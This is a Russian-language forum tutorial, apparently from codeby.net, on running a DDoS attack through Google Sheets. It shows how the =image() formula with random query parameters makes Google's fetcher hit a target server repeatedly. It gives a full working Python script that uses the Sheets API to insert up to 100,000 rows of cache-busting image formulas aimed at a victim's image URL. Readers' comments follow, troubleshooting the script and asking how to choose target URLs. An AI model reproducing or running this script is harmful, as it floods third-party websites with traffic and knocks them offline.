Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём неправильно. Необходимо обновить браузер или попробовать использовать другой.
Привет codeby.net!
В этой статье мы разберем Лёгкий DDoS с помощью Google Sheets. Узнаем актульно ли это, поймем как это работает и напишим свою тулзу для автоматизации атаки.
Теория:
Суть данной атаки в использовании формулы для вставки изображения в ячейку =image("http://www.example.org/image.jpg"). Если вставить данную формулу в Google Sheets, робот google перейдёт по ссылке и скачает файл чтобы затем вставить в таблицу. Одного перехода бота на атакуемый сайт нам недостаточно поэтому нам надо как можно больше вставить таких формул в таблицу но бот не дурак и знает что такая картинка уже есть и он нам отдаст ее из кэша а не пойдет повторно на атакуемый сайт. Однако исследователь под ником chr13 обнаружил что если добавить к ссылке случайный параметр, то робот скачает этот файл ещё раз =image("http://www.example.org/image.jpg?r=1"). Таким образом мы можем заставить бота обращаться к серверу столько раз к сколько нам вздумается.
Google знает об этом и ничего с этим не собирался делать так как это не является ошибкой.
Практика:
Начнем со сбора данных которые нам будут нужны в процессе написание программы. Нам понадобиться spreadsheets id, названия листа а также URL на изображение с атакуемого сайта. Если у вас нет google аккаунта создаем, затем идем в spreadsheets и создаем новый файл, переходим на него. Из URL берем spreadsheets id.
Теперь нам надо переименовать название листа (имя не имеет значения главное чтобы была на английском). Я дам имя list1 вы же можете назвать как угодно. Листы находятся внизу таблицы в новом документе он будет один, нажимаем на треугольник возле название как показано на скриншоте.
В появившимся меню выбираем переименовать, задаем имя и нажимаем enter.
Думаю как получить URL на картинку с атакуемого сайта объяснять не нужно (если есть возможность выбирайте картинку с максимальным размером, если все же надо показывать напишите в комментариях я дополню статью).
Теперь можно приступить непосредственно к написанию самой программы. В качестве языка программирования возьмем Python а для взаимодействие с таблицей воспользуемся Sheets API. Для начало установим библиотеки для работы с API.
Затем нам надо получить json файл с client id и client secret. Для этого идем по этой ссылки на документацию Python Quickstart | Sheets API | Google Developers находим там первый шаг и нажимаем на синею кнопку.
Откроется модальное окно, нажимаем опять на синею кнопку и качаем credentials.json, кладем его рядом с нашим будущим скриптом в один каталог. Этот файл нам понадобиться что бы работать с API.
Теперь приступаем к написанию кода. Для работы с таблицей нам надо авторизоваться. Для этого воспользуемся документацией Python Quickstart | Sheets API | Google Developers и перейдем на шаг 3 на основе примера накидаем следующий код.
Python:
from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
# If modifying these scopes, delete the file token.pickle.
SCOPES = ['https://www.googleapis.com/auth/contacts.readonly']
def authorization():
creds = None
# The file token.pickle stores the user's access and refresh tokens, and is
# created automatically when the authorization flow completes for the first
# time.
if os.path.exists('token.pickle'):
with open('token.pickle', 'rb') as token:
creds = pickle.load(token)
# If there are no (valid) credentials available, let the user log in.
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', SCOPES)
creds = flow.run_local_server()
# Save the credentials for the next run
with open('token.pickle', 'wb') as token:
pickle.dump(creds, token)
return build('sheets', 'v4', credentials=creds)
if __name__ == '__main__':
authorization()
В переменной SCOPES храниться права доступа с которыми мы проходим авторизацию. Те что в примере нам не подходят так как они дают права на чтение а нам надо на редактирования. Идем в документацию находим нужный раздел Authorize Requests | Sheets API | Google Developers видим список прав. Нам надо https://www.googleapis.com/auth/spreadsheets. Заменяем SCOPES = ['https://www.googleapis.com/auth/contacts.readonly'] на SCOPES = ['https://www.googleapis.com/auth/spreadsheets']. Теперь у нас есть права на запись после авторизации. Осталось написать функцию генерации ссылок. Опять идем в документацию находим как добавлять новые записи в таблицу Method: spreadsheets.values.update | Sheets API | Google Developers. На основе примера пишем функцию добавления.
Python:
def add_img(limit, service):
values = []
data = []
body = {
'values': values
}
for request in range(limit):
for number in range(20):
data.append('=image("{0}?r={1}")'.format(URL, uuid.uuid4()))
time.sleep(0.5)
values.append(data)
result = service.spreadsheets().values().update(
spreadsheetId=SPREADSHEET_ID, range=SAMPLE_RANGE_NAME,
valueInputOption=VALUE_INPUT_OPTION, body=body
).execute()
data = []
print('{0} cells updated.'.format(result.get('updatedCells')))
В функции используем первый цикл для генерации общего количество заполнения строк а второй для генерации столбцов. Этот метод uuid.uuid4() генерирует уникальный параметр для каждой ссылки чтобы бот не кэшировать картинки. В переменной VALUE_INPUT_OPTION содержит параметр USER_ENTERED который позволяет вставлять в ячейку формулу. Объединив все в один код мы получим готовую программу.
Python:
from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
import uuid
import time
# If modifying these scopes, delete the file token.pickle.
SCOPES = ['https://www.googleapis.com/auth/spreadsheets']
SPREADSHEET_ID = ''
LIST_NAME = ''
URL = ''
SAMPLE_RANGE_NAME = LIST_NAME + '!A1'
VALUE_INPUT_OPTION = 'USER_ENTERED'
LIMIT = 100000
def authorization():
creds = None
# The file token.pickle stores the user's access and refresh tokens, and is
# created automatically when the authorization flow completes for the first
# time.
if os.path.exists('token.pickle'):
with open('token.pickle', 'rb') as token:
creds = pickle.load(token)
# If there are no (valid) credentials available, let the user log in.
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', SCOPES)
creds = flow.run_local_server()
# Save the credentials for the next run
with open('token.pickle', 'wb') as token:
pickle.dump(creds, token)
return build('sheets', 'v4', credentials=creds)
def add_img(limit, service):
values = []
data = []
body = {
'values': values
}
for request in range(limit):
for number in range(20):
data.append('=image("{0}?r={1}")'.format(URL, uuid.uuid4()))
time.sleep(0.5)
values.append(data)
result = service.spreadsheets().values().update(
spreadsheetId=SPREADSHEET_ID, range=SAMPLE_RANGE_NAME,
valueInputOption=VALUE_INPUT_OPTION, body=body
).execute()
data = []
print('{0} cells updated.'.format(result.get('updatedCells')))
def main():
service = authorization()
add_img(LIMIT, service)
if __name__ == '__main__':
main()
Осталось подставить недостающие параметры которые мы получили ранее в соответствующие переменные и можно тестировать наш скрипт) Атака работает следующим образам, запускаете скрипт он начинает генерирует функции с подгрузкой картинок не дожидаясь выполнения скрипта нужно открыть таблицу в браузере что бы бот начал подгружать картинки. Как только картинки начинают подгружаться картинки значит запросы на атакуемый сервер полетят.
p.s За код прошу не корить был написан на скорую руку для проверки атаки а переписывать было лень. Надеюсь статья вам понравилась
К сожалению, пока не удалось проверить скрипт) после вашей правки запустилось, но забилась оперативка, все 8 гб. Поэтому сейчас ищу метод как ограничить объем памяти для программы, в python не особо силен, но что то знаю. Если бы кодеры по опытней меня , присоединились то можно было бы добить ваш проект)
К сожалению, пока не удалось проверить скрипт) после вашей правки запустилось, но забилась оперативка, все 8 гб. Поэтому сейчас ищу метод как ограничить объем памяти для программы, в python не особо силен, но что то знаю. Если бы кодеры по опытней меня , присоединились то можно было бы добить ваш проект)
Здравствуйте, url картинки - достаточно ли ссылки, например https://test.com/JPG/167878/ - по ссылке картинка открывается. И есть ли разница в формате: .jpg , .png, .gif ? Благодарю.
На данном сайте используются файлы cookie, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь. Продолжая использовать этот сайт, Вы соглашаетесь на использование наших файлов cookie.
Комментарии
7